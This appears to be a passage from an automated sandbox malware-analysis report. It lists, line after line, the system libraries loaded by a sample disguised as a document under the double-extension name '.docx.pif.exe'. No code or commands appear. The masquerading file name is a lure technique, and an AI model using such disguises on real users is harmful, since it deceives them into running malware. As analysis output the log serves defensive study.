Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: nltdll.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: nltdll.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: winhttpcom.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
